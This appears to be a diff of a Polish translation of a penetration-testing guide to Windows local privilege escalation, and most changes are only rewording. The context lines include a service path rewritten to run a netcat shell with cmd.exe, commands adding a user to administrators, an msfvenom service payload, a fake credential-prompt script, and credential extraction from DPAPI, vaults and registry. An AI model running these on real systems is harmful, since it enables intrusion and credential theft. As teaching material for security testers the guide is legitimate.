Możesz użyć **sc** do uzyskania informacji o usłudze
Możesz użyć **sc**, aby uzyskać informacje o usłudze
```bash
sc qc <service_name>
```
@ -434,7 +434,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
Jeśli masz ten błąd (na przykład z SSDPSRV):
_Wystąpił błąd systemu 1058._\
&#xNAN;_&#x54;usługa nie może zostać uruchomiona, ponieważ jest wyłączona lub nie ma z nią powiązanych włączonych urządzeń._
&#xNAN;_&#x54;usługa nie może zostać uruchomiona, ponieważ jest wyłączona lub nie ma powiązanych z nią włączonych urządzeń._
Możesz ją włączyć używając
```bash
@ -443,13 +443,13 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
```
**Weź pod uwagę, że usługa upnphost zależy od SSDPSRV, aby działać (dla XP SP1)**
**Innym obejściem** tego problemu jest uruchomienie:
**Inne obejście** tego problemu to uruchomienie:
```
sc.exe config usosvc start= auto
```
### **Zmodyfikuj ścieżkę binarną usługi**
### **Zmień ścieżkę binarną usługi**
W scenariuszu, w którym grupa "Użytkownicy uwierzytelnieni" posiada **SERVICE_ALL_ACCESS** do usługi, modyfikacja binarnego pliku wykonywalnego usługi jest możliwa. Aby zmodyfikować i wykonać **sc**:
W scenariuszu, w którym grupa "Użytkownicy uwierzytelnieni" posiada **SERVICE_ALL_ACCESS** do usługi, możliwa jest modyfikacja binarnego pliku wykonywalnego usługi. Aby zmodyfikować i wykonać **sc**:
```bash
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
@ -515,7 +515,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md
### Niecytowane ścieżki usług
Jeśli ścieżka do pliku wykonywalnego nie jest w cudzysłowach, Windows spróbuje wykonać każdy fragment przed spacją.
Jeśli ścieżka do pliku wykonywalnego nie jest w cudzysłowach, Windows spróbuje wykonać każdy końcowy fragment przed spacją.
Na przykład, dla ścieżki _C:\Program Files\Some Folder\Service.exe_ Windows spróbuje wykonać:
```powershell
@ -523,7 +523,7 @@ C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
```
Wypisz wszystkie niecytowane ścieżki usług, z wyjątkiem tych należących do wbudowanych usług systemu Windows:
Wymień wszystkie niecytowane ścieżki usług, z wyjątkiem tych, które należą do wbudowanych usług systemu Windows:
```powershell
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
@ -547,13 +547,13 @@ gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Whe
```bash
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
```
### Akcje odzyskiwania
### Recovery Actions
Windows pozwala użytkownikom określić działania, które mają być podjęte w przypadku awarii usługi. Ta funkcja może być skonfigurowana, aby wskazywała na plik binarny. Jeśli ten plik binarny jest wymienny, eskalacja uprawnień może być możliwa. Więcej szczegółów można znaleźć w [oficjalnej dokumentacji](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
Windows pozwala użytkownikom określić działania, które mają być podjęte, jeśli usługa zawiedzie. Ta funkcja może być skonfigurowana, aby wskazywała na binarny plik. Jeśli ten plik binarny jest wymienny, eskalacja uprawnień może być możliwa. Więcej szczegółów można znaleźć w [oficjalnej dokumentacji](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
## Aplikacje
## Applications
### Zainstalowane aplikacje
### Installed Applications
Sprawdź **uprawnienia plików binarnych** (może uda ci się nadpisać jeden i eskalować uprawnienia) oraz **folderów** ([DLL Hijacking](dll-hijacking/)).
```bash
@ -566,7 +566,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
```
### Uprawnienia do zapisu
Sprawdź, czy możesz zmodyfikować jakiś plik konfiguracyjny, aby odczytać jakiś specjalny plik, lub czy możesz zmodyfikować jakiś plik binarny, który będzie wykonywany przez konto Administratora (schedtasks).
Sprawdź, czy możesz zmodyfikować jakiś plik konfiguracyjny, aby odczytać jakiś specjalny plik, lub czy możesz zmodyfikować jakiś binarny plik, który będzie wykonywany przez konto Administratora (schedtasks).
Sposobem na znalezienie słabych uprawnień do folderów/plików w systemie jest wykonanie:
```bash
@ -602,7 +602,7 @@ privilege-escalation-with-autorun-binaries.md
### Sterowniki
Szukaj możliwych **dziwnych/wrażliwych** sterowników od **trzecich stron**.
Szukaj możliwych **dziwnych/wrażliwych** sterowników od **stron trzecich**.
```bash
driverquery
driverquery.exe /fo table
@ -612,7 +612,7 @@ driverquery /SI
Jeśli masz **uprawnienia do zapisu w folderze znajdującym się na PATH**, możesz być w stanie przejąć DLL ładowany przez proces i **eskalować uprawnienia**.
Sprawdź uprawnienia wszystkich folderów znajdujących się na PATH:
Sprawdź uprawnienia wszystkich folderów w PATH:
```bash
for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )
```
@ -671,9 +671,9 @@ Więcej[ poleceń do enumeracji sieci tutaj](../basic-cmd-for-pentesters.md#netw
C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe
```
Plik binarny `bash.exe` można również znaleźć w `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
Binary `bash.exe` można również znaleźć w `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`
Jeśli uzyskasz dostęp do użytkownika root, możesz nasłuchiwać na dowolnym porcie (za pierwszym razem, gdy użyjesz `nc.exe` do nasłuchiwania na porcie, zapyta przez GUI, czy `nc` powinien być dozwolony przez zaporę).
Jeśli uzyskasz dostęp do użytkownika root, możesz nasłuchiwać na dowolnym porcie (za pierwszym razem, gdy użyjesz `nc.exe` do nasłuchiwania na porcie, zapyta za pomocą GUI, czy `nc` powinien być dozwolony przez zaporę).
```bash
wsl whoami
./ubuntun1604.exe config --default-user root
@ -698,12 +698,12 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword
```
### Menedżer poświadczeń / Skarbiec systemu Windows
### Menedżer poświadczeń / Skarbiec Windows
Z [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\
Skarbiec systemu Windows przechowuje poświadczenia użytkowników dla serwerów, stron internetowych i innych programów, które **Windows** może **automatycznie logować użytkowników**. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą przechowywać swoje poświadczenia do Facebooka, Twittera, Gmaila itp., aby automatycznie logować się przez przeglądarki. Ale to nie jest prawda.
Skarbiec Windows przechowuje poświadczenia użytkowników dla serwerów, stron internetowych i innych programów, które **Windows** może **automatycznie logować użytkowników**. Na pierwszy rzut oka może się wydawać, że użytkownicy mogą przechowywać swoje poświadczenia do Facebooka, Twittera, Gmaila itp., aby automatycznie logować się przez przeglądarki. Ale tak nie jest.
Skarbiec systemu Windows przechowuje poświadczenia, które Windows może automatycznie logować użytkowników, co oznacza, że każda **aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu** (serwera lub strony internetowej) **może korzystać z tego Menedżera poświadczeń** i Skarbca systemu Windows oraz używać dostarczonych poświadczeń zamiast użytkowników wprowadzać nazwę użytkownika i hasło za każdym razem.
Skarbiec Windows przechowuje poświadczenia, które Windows może automatycznie logować użytkowników, co oznacza, że każda **aplikacja Windows, która potrzebuje poświadczeń do uzyskania dostępu do zasobu** (serwera lub strony internetowej) **może korzystać z tego Menedżera poświadczeń** i Skarbca Windows oraz używać dostarczonych poświadczeń zamiast użytkowników wprowadzających nazwę użytkownika i hasło za każdym razem.
O ile aplikacje nie współdziałają z Menedżerem poświadczeń, nie sądzę, aby mogły korzystać z poświadczeń dla danego zasobu. Dlatego, jeśli twoja aplikacja chce korzystać ze skarbca, powinna w jakiś sposób **komunikować się z menedżerem poświadczeń i żądać poświadczeń dla tego zasobu** z domyślnego skarbca.
@ -731,14 +731,14 @@ Zauważ, że mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/uti
**DPAPI umożliwia szyfrowanie kluczy za pomocą klucza symetrycznego, który jest pochodną sekretów logowania użytkownika**. W scenariuszach związanych z szyfrowaniem systemu wykorzystuje sekrety uwierzytelniania domeny systemu.
Szyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu `%APPDATA%\Microsoft\Protect\{SID}`, gdzie `{SID}` reprezentuje [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) użytkownika. **Klucz DPAPI, współlokalizowany z kluczem głównym, który chroni prywatne klucze użytkownika w tym samym pliku**, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, aby zauważyć, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wyświetlenie jego zawartości za pomocą polecenia `dir` w CMD, chociaż można go wyświetlić za pomocą PowerShell).
Szyfrowane klucze RSA użytkownika, przy użyciu DPAPI, są przechowywane w katalogu `%APPDATA%\Microsoft\Protect\{SID}`, gdzie `{SID}` reprezentuje [Identifikator bezpieczeństwa](https://en.wikipedia.org/wiki/Security_Identifier) użytkownika. **Klucz DPAPI, współlokowany z kluczem głównym, który chroni prywatne klucze użytkownika w tym samym pliku**, zazwyczaj składa się z 64 bajtów losowych danych. (Ważne jest, aby zauważyć, że dostęp do tego katalogu jest ograniczony, co uniemożliwia wyświetlenie jego zawartości za pomocą polecenia `dir` w CMD, chociaż można go wyświetlić za pomocą PowerShell).
```powershell
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
```
Możesz użyć **mimikatz module** `dpapi::masterkey` z odpowiednimi argumentami (`/pvk` lub `/rpc`), aby go odszyfrować.
**Pliki z poświadczeniami chronione hasłem głównym** zazwyczaj znajdują się w:
Pliki **poświadczeń chronione hasłem głównym** zazwyczaj znajdują się w:
```powershell
dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
@ -756,7 +756,7 @@ dpapi-extracting-passwords.md
**Poświadczenia PowerShell** są często używane do **skryptowania** i zadań automatyzacji jako sposób na wygodne przechowywanie zaszyfrowanych poświadczeń. Poświadczenia są chronione za pomocą **DPAPI**, co zazwyczaj oznacza, że mogą być odszyfrowane tylko przez tego samego użytkownika na tym samym komputerze, na którym zostały utworzone.
Aby **odszyfrować** poświadczenia PS z pliku, który je zawiera, możesz to zrobić:
Aby **odszyfrować** poświadczenia PS z pliku, który je zawiera, możesz zrobić:
```powershell
PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username
@ -786,7 +786,7 @@ i w `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
```
### **Menedżer poświadczeń pulpitu zdalnego**
### **Menadżer poświadczeń pulpitu zdalnego**
```
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
```
@ -800,7 +800,7 @@ Ludzie często używają aplikacji StickyNotes na stacjach roboczych z systemem
### AppCmd.exe
**Zauważ, że aby odzyskać hasła z AppCmd.exe, musisz być administratorem i działać na wysokim poziomie integralności.**\
**AppCmd.exe** znajduje się w katalogu `%systemroot%\system32\inetsrv\` .\
**AppCmd.exe** znajduje się w katalogu `%systemroot%\system32\inetsrv\`.\
Jeśli ten plik istnieje, to możliwe, że skonfigurowano jakieś **poświadczenia**, które można **odzyskać**.
Ten kod został wyodrębniony z [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1):
@ -883,7 +883,7 @@ $ErrorActionPreference = $OrigError
```
### SCClient / SCCM
Sprawdź, czy `C:\Windows\CCM\SCClient.exe` istnieje.\
Sprawdź, czy istnieje `C:\Windows\CCM\SCClient.exe` .\
Instalatory są **uruchamiane z uprawnieniami SYSTEM**, wiele z nich jest podatnych na **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).**
```bash
$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
@ -906,8 +906,8 @@ Prywatne klucze SSH mogą być przechowywane w kluczu rejestru `HKCU\Software\Op
```bash
reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
```
Jeśli znajdziesz jakikolwiek wpis w tej ścieżce, prawdopodobnie będzie to zapisany klucz SSH. Jest on przechowywany w zaszyfrowanej formie, ale można go łatwo odszyfrować za pomocą [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
Więcej informacji na temat tej techniki tutaj: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
Jeśli znajdziesz jakikolwiek wpis w tym katalogu, prawdopodobnie będzie to zapisany klucz SSH. Jest on przechowywany w formie zaszyfrowanej, ale można go łatwo odszyfrować za pomocą [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
Więcej informacji na temat tej techniki znajdziesz tutaj: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
Jeśli usługa `ssh-agent` nie działa i chcesz, aby uruchamiała się automatycznie przy starcie, uruchom:
```bash
@ -932,8 +932,6 @@ C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
```
Możesz również wyszukiwać te pliki za pomocą **metasploit**: _post/windows/gather/enum_unattend_
Przykładowa zawartość:
```xml
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
@ -980,7 +978,7 @@ Szukaj pliku o nazwie **SiteList.xml**
Funkcja, która wcześniej była dostępna, pozwalała na wdrażanie niestandardowych lokalnych kont administratorów na grupie maszyn za pomocą Preferencji Zasad Grupy (GPP). Jednak ta metoda miała znaczące luki w zabezpieczeniach. Po pierwsze, Obiekty Zasad Grupy (GPO), przechowywane jako pliki XML w SYSVOL, mogły być dostępne dla każdego użytkownika domeny. Po drugie, hasła w tych GPP, szyfrowane za pomocą AES256 przy użyciu publicznie udokumentowanego domyślnego klucza, mogły być odszyfrowane przez każdego uwierzytelnionego użytkownika. Stanowiło to poważne ryzyko, ponieważ mogło pozwolić użytkownikom na uzyskanie podwyższonych uprawnień.
Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie pamiętane pliki GPP zawierające pole "cpassword", które nie jest puste. Po znalezieniu takiego pliku, funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera szczegóły dotyczące GPP oraz lokalizację pliku, co ułatwia identyfikację i usunięcie tej luki w zabezpieczeniach.
Aby złagodzić to ryzyko, opracowano funkcję skanującą lokalnie pamiętane pliki GPP zawierające pole "cpassword", które nie jest puste. Po znalezieniu takiego pliku, funkcja odszyfrowuje hasło i zwraca niestandardowy obiekt PowerShell. Obiekt ten zawiera szczegóły dotyczące GPP oraz lokalizację pliku, co pomaga w identyfikacji i usuwaniu tej luki w zabezpieczeniach.
Szukaj w `C:\ProgramData\Microsoft\Group Policy\history` lub w _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (przed W Vista)_ tych plików:
@ -1052,9 +1050,9 @@ C:\inetpub\logs\LogFiles\*
#Apache
Get-Childitem Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue
```
### Prośba o dane uwierzytelniające
### Ask for credentials
Możesz zawsze **poprosić użytkownika o wprowadzenie jego danych uwierzytelniających lub nawet danych uwierzytelniających innego użytkownika**, jeśli uważasz, że może je znać (zauważ, że **bezpośrednie** pytanie klienta o **dane uwierzytelniające** jest naprawdę **ryzykowne**):
Możesz zawsze **poprosić użytkownika o podanie jego danych logowania lub nawet danych logowania innego użytkownika**, jeśli uważasz, że może je znać (zauważ, że **bezpośrednie** pytanie klienta o **dane logowania** jest naprawdę **ryzykowne**):
```bash
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
@ -1168,11 +1166,11 @@ Narzędzia do ekstrakcji haseł z przeglądarek:
### **Nadpisywanie DLL COM**
**Model Obiektów Komponentów (COM)** to technologia wbudowana w system operacyjny Windows, która umożliwia **interkomunikację** między komponentami oprogramowania różnych języków. Każdy komponent COM jest **identyfikowany za pomocą identyfikatora klasy (CLSID)**, a każdy komponent udostępnia funkcjonalność za pomocą jednego lub więcej interfejsów, identyfikowanych za pomocą identyfikatorów interfejsów (IIDs).
**Model obiektów komponentów (COM)** to technologia wbudowana w system operacyjny Windows, która umożliwia **komunikację** między komponentami oprogramowania różnych języków. Każdy komponent COM jest **identyfikowany za pomocą identyfikatora klasy (CLSID)**, a każdy komponent udostępnia funkcjonalność za pomocą jednego lub więcej interfejsów, identyfikowanych za pomocą identyfikatorów interfejsów (IIDs).
Klasy i interfejsy COM są definiowane w rejestrze pod **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** oraz **HKEY\_**_**CLASSES\_**_**ROOT\Interface** odpowiednio. Ten rejestr jest tworzony przez połączenie **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
Wewnątrz CLSID-ów tego rejestru możesz znaleźć podrzędny rejestr **InProcServer32**, który zawiera **wartość domyślną** wskazującą na **DLL** oraz wartość nazwaną **ThreadingModel**, która może być **Apartment** (Jednowątkowy), **Free** (Wielowątkowy), **Both** (Jedno- lub wielowątkowy) lub **Neutral** (Neutralny wątek).
Wewnątrz CLSID-ów tego rejestru możesz znaleźć podrzędny rejestr **InProcServer32**, który zawiera **wartość domyślną** wskazującą na **DLL** oraz wartość o nazwie **ThreadingModel**, która może być **Apartment** (jednowątkowy), **Free** (wielowątkowy), **Both** (jedno- lub wielowątkowy) lub **Neutral** (neutralny wątek).
![](<../../images/image (729).png>)
@ -1211,7 +1209,7 @@ REG QUERY HKCU /F "password" /t REG_SZ /S /d
[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) automatycznie wyszukuje wszystkie pliki zawierające hasła wymienione na tej stronie.\
[**Lazagne**](https://github.com/AlessandroZ/LaZagne) to kolejne świetne narzędzie do ekstrakcji haseł z systemu.
Narzędzie [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) wyszukuje **sesje**, **nazwy użytkowników** i **hasła** różnych narzędzi, które zapisują te dane w postaci czystego tekstu (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP)
Narzędzie [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) wyszukuje **sesje**, **nazwy użytkowników** i **hasła** różnych narzędzi, które zapisują te dane w postaci czystego tekstu (PuTTY, WinSCP, FileZilla, SuperPuTTY i RDP).
```bash
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
@ -1221,25 +1219,25 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
## Leaked Handlers
Wyobraź sobie, że **proces działający jako SYSTEM otwiera nowy proces** (`OpenProcess()`) z **pełnym dostępem**. Ten sam proces **tworzy również nowy proces** (`CreateProcess()`) **z niskimi uprawnieniami, ale dziedziczy wszystkie otwarte uchwyty głównego procesu**.\
Jeśli masz **pełny dostęp do procesu o niskich uprawnieniach**, możesz przejąć **otwarty uchwyt do procesu z uprawnieniami**, który został stworzony za pomocą `OpenProcess()` i **wstrzyknąć shellcode**.\
[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
Jeśli masz **pełny dostęp do procesu o niskich uprawnieniach**, możesz przechwycić **otwarty uchwyt do procesu z uprawnieniami**, który został utworzony za pomocą `OpenProcess()` i **wstrzyknąć shellcode**.\
[Przeczytaj ten przykład, aby uzyskać więcej informacji na temat **jak wykrywać i wykorzystywać tę lukę**.](leaked-handle-exploitation.md)\
[Przeczytaj ten **inny post, aby uzyskać bardziej szczegółowe wyjaśnienie, jak testować i nadużywać więcej otwartych uchwytów procesów i wątków dziedziczonych z różnymi poziomami uprawnień (nie tylko pełnym dostępem)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
## Named Pipe Client Impersonation
Segmenty pamięci współdzielonej, określane jako **rury**, umożliwiają komunikację procesów i transfer danych.
Windows oferuje funkcję zwaną **Named Pipes**, która pozwala na współdzielenie danych przez niepowiązane procesy, nawet w różnych sieciach. Przypomina to architekturę klient/serwer, z rolami zdefiniowanymi jako **serwer rury nazwanej** i **klient rury nazwanej**.
Windows oferuje funkcję zwaną **Named Pipes**, która pozwala niepowiązanym procesom dzielić się danymi, nawet przez różne sieci. Przypomina to architekturę klient/serwer, z rolami zdefiniowanymi jako **serwer rury nazwanej** i **klient rury nazwanej**.
Gdy dane są wysyłane przez rurę przez **klienta**, **serwer**, który skonfigurował rurę, ma możliwość **przyjęcia tożsamości** **klienta**, zakładając, że ma niezbędne prawa **SeImpersonate**. Identyfikacja **uprzywilejowanego procesu**, który komunikuje się przez rurę, którego możesz naśladować, stwarza możliwość **uzyskania wyższych uprawnień** poprzez przyjęcie tożsamości tego procesu, gdy tylko wchodzi w interakcję z rurą, którą utworzyłeś. W celu uzyskania instrukcji dotyczących przeprowadzenia takiego ataku, pomocne przewodniki można znaleźć [**here**](named-pipe-client-impersonation.md) i [**here**](./#from-high-integrity-to-system).
Gdy dane są wysyłane przez rurę przez **klienta**, **serwer**, który skonfigurował rurę, ma możliwość **przyjęcia tożsamości** **klienta**, zakładając, że ma niezbędne prawa **SeImpersonate**. Identyfikacja **uprzywilejowanego procesu**, który komunikuje się przez rurę, którego możesz naśladować, stwarza możliwość **uzyskania wyższych uprawnień** poprzez przyjęcie tożsamości tego procesu, gdy tylko wchodzi w interakcję z rurą, którą utworzyłeś. Instrukcje dotyczące przeprowadzenia takiego ataku można znaleźć w pomocnych przewodnikach [**tutaj**](named-pipe-client-impersonation.md) i [**tutaj**](#from-high-integrity-to-system).
Następujące narzędzie pozwala na **przechwycenie komunikacji rury nazwanej za pomocą narzędzia takiego jak burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **a to narzędzie pozwala na wylistowanie i zobaczenie wszystkich rur w celu znalezienia privesc** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
Następujące narzędzie umożliwia **przechwycenie komunikacji rury nazwanej za pomocą narzędzia takiego jak burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **a to narzędzie pozwala na wylistowanie i zobaczenie wszystkich rur w celu znalezienia privesc** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
## Misc
### **Monitoring Command Lines for passwords**
Podczas uzyskiwania powłoki jako użytkownik, mogą być zaplanowane zadania lub inne procesy, które **przekazują dane uwierzytelniające w wierszu poleceń**. Poniższy skrypt przechwytuje wiersze poleceń procesów co dwie sekundy i porównuje bieżący stan z poprzednim stanem, wypisując wszelkie różnice.
Podczas uzyskiwania powłoki jako użytkownik mogą być zaplanowane zadania lub inne procesy, które **przekazują dane uwierzytelniające w wierszu poleceń**. Poniższy skrypt przechwytuje wiersze poleceń procesów co dwie sekundy i porównuje bieżący stan z poprzednim stanem, wypisując wszelkie różnice.
```powershell
while($true)
{
@ -1301,7 +1299,7 @@ Masz wszystkie niezbędne pliki i informacje w następującym repozytorium GitHu
https://github.com/jas502n/CVE-2019-1388
## Z poziomu Administratora Medium do High Integrity Level / UAC Bypass
## Z poziomu Medium Administratora do High Integrity Level / Ominięcie UAC
Przeczytaj to, aby **dowiedzieć się o poziomach integralności**:
@ -1309,7 +1307,7 @@ Przeczytaj to, aby **dowiedzieć się o poziomach integralności**:
integrity-levels.md
{{#endref}}
Następnie **przeczytaj to, aby dowiedzieć się o UAC i obejściach UAC:**
Następnie **przeczytaj to, aby dowiedzieć się o UAC i omijaniu UAC:**
{{#ref}}
../authentication-credentials-uac-and-efs/uac-user-account-control.md
@ -1327,7 +1325,7 @@ sc start newservicename
### AlwaysInstallElevated
Z procesu o wysokiej integralności możesz spróbować **włączyć wpisy rejestru AlwaysInstallElevated** i **zainstalować** reverse shell używając opakowania _**.msi**_.\
[Więcej informacji na temat zaangażowanych kluczy rejestru i jak zainstalować pakiet _.msi_ tutaj.](./#alwaysinstallelevated)
[Więcej informacji na temat zaangażowanych kluczy rejestru i jak zainstalować pakiet _.msi_ tutaj.](#alwaysinstallelevated)
### Wysokie uprawnienia + SeImpersonate do System
@ -1336,18 +1334,18 @@ Z procesu o wysokiej integralności możesz spróbować **włączyć wpisy rejes
### Z SeDebug + SeImpersonate do pełnych uprawnień tokena
Jeśli masz te uprawnienia tokena (prawdopodobnie znajdziesz to w już istniejącym procesie o wysokiej integralności), będziesz mógł **otworzyć prawie każdy proces** (niechronione procesy) z uprawnieniami SeDebug, **skopiować token** procesu i stworzyć **dowolny proces z tym tokenem**.\
Używając tej techniki zazwyczaj **wybiera się dowolny proces działający jako SYSTEM z wszystkimi uprawnieniami tokena** (_tak, możesz znaleźć procesy SYSTEM bez wszystkich uprawnień tokena_).\
Używając tej techniki zazwyczaj **wybiera się dowolny proces działający jako SYSTEM ze wszystkimi uprawnieniami tokena** (_tak, możesz znaleźć procesy SYSTEM bez wszystkich uprawnień tokena_).\
**Możesz znaleźć** [**przykład kodu wykonującego proponowaną technikę tutaj**](sedebug-+-seimpersonate-copy-token.md)**.**
### **Named Pipes**
Ta technika jest używana przez meterpreter do eskalacji w `getsystem`. Technika polega na **utworzeniu rury, a następnie utworzeniu/wykorzystaniu usługi do pisania na tej rurze**. Następnie **serwer**, który utworzył rurę używając uprawnienia **`SeImpersonate`**, będzie mógł **imponować tokenem** klienta rury (usługi), uzyskując uprawnienia SYSTEM.\
Jeśli chcesz [**dowiedzieć się więcej o nazwanych rurach, powinieneś to przeczytać**](./#named-pipe-client-impersonation).\
Ta technika jest używana przez meterpreter do eskalacji w `getsystem`. Technika polega na **utworzeniu rury, a następnie utworzeniu/wykorzystaniu usługi do pisania na tej rurze**. Następnie **serwer**, który utworzył rurę używając uprawnienia **`SeImpersonate`**, będzie mógł **imitować token** klienta rury (usługi), uzyskując uprawnienia SYSTEM.\
Jeśli chcesz [**dowiedzieć się więcej o nazwanych rurach, powinieneś to przeczytać**](#named-pipe-client-impersonation).\
Jeśli chcesz przeczytać przykład [**jak przejść z wysokiej integralności do Systemu używając nazwanych rur, powinieneś to przeczytać**](from-high-integrity-to-system-with-name-pipes.md).
### Dll Hijacking
Jeśli uda ci się **przechwycić dll** ładowany przez **proces** działający jako **SYSTEM**, będziesz mógł wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatny do tego rodzaju eskalacji uprawnień, a co więcej, jest **znacznie łatwiejszy do osiągnięcia z procesu o wysokiej integralności**, ponieważ będzie miał **uprawnienia do zapisu** w folderach używanych do ładowania dll.\
Jeśli uda ci się **przechwycić dll** ładowany przez **proces** działający jako **SYSTEM**, będziesz mógł wykonać dowolny kod z tymi uprawnieniami. Dlatego Dll Hijacking jest również przydatny do tego rodzaju eskalacji uprawnień, a co więcej, jest **dużo łatwiejszy do osiągnięcia z procesu o wysokiej integralności**, ponieważ będzie miał **uprawnienia do zapisu** w folderach używanych do ładowania dll.\
**Możesz** [**dowiedzieć się więcej o Dll hijacking tutaj**](dll-hijacking/)**.**
### **Z Administratora lub Usługi Sieciowej do Systemu**
@ -1374,11 +1372,11 @@ https://github.com/sailay1996/RpcSsImpersonator
[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Sprawdź błędne konfiguracje i wrażliwe pliki (**[**sprawdź tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Wykryto.**\
[**JAWS**](https://github.com/411Hall/JAWS) **-- Sprawdź niektóre możliwe błędne konfiguracje i zbierz informacje (**[**sprawdź tutaj**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
[**privesc** ](https://github.com/enjoiz/Privesc)**-- Sprawdź błędne konfiguracje**\
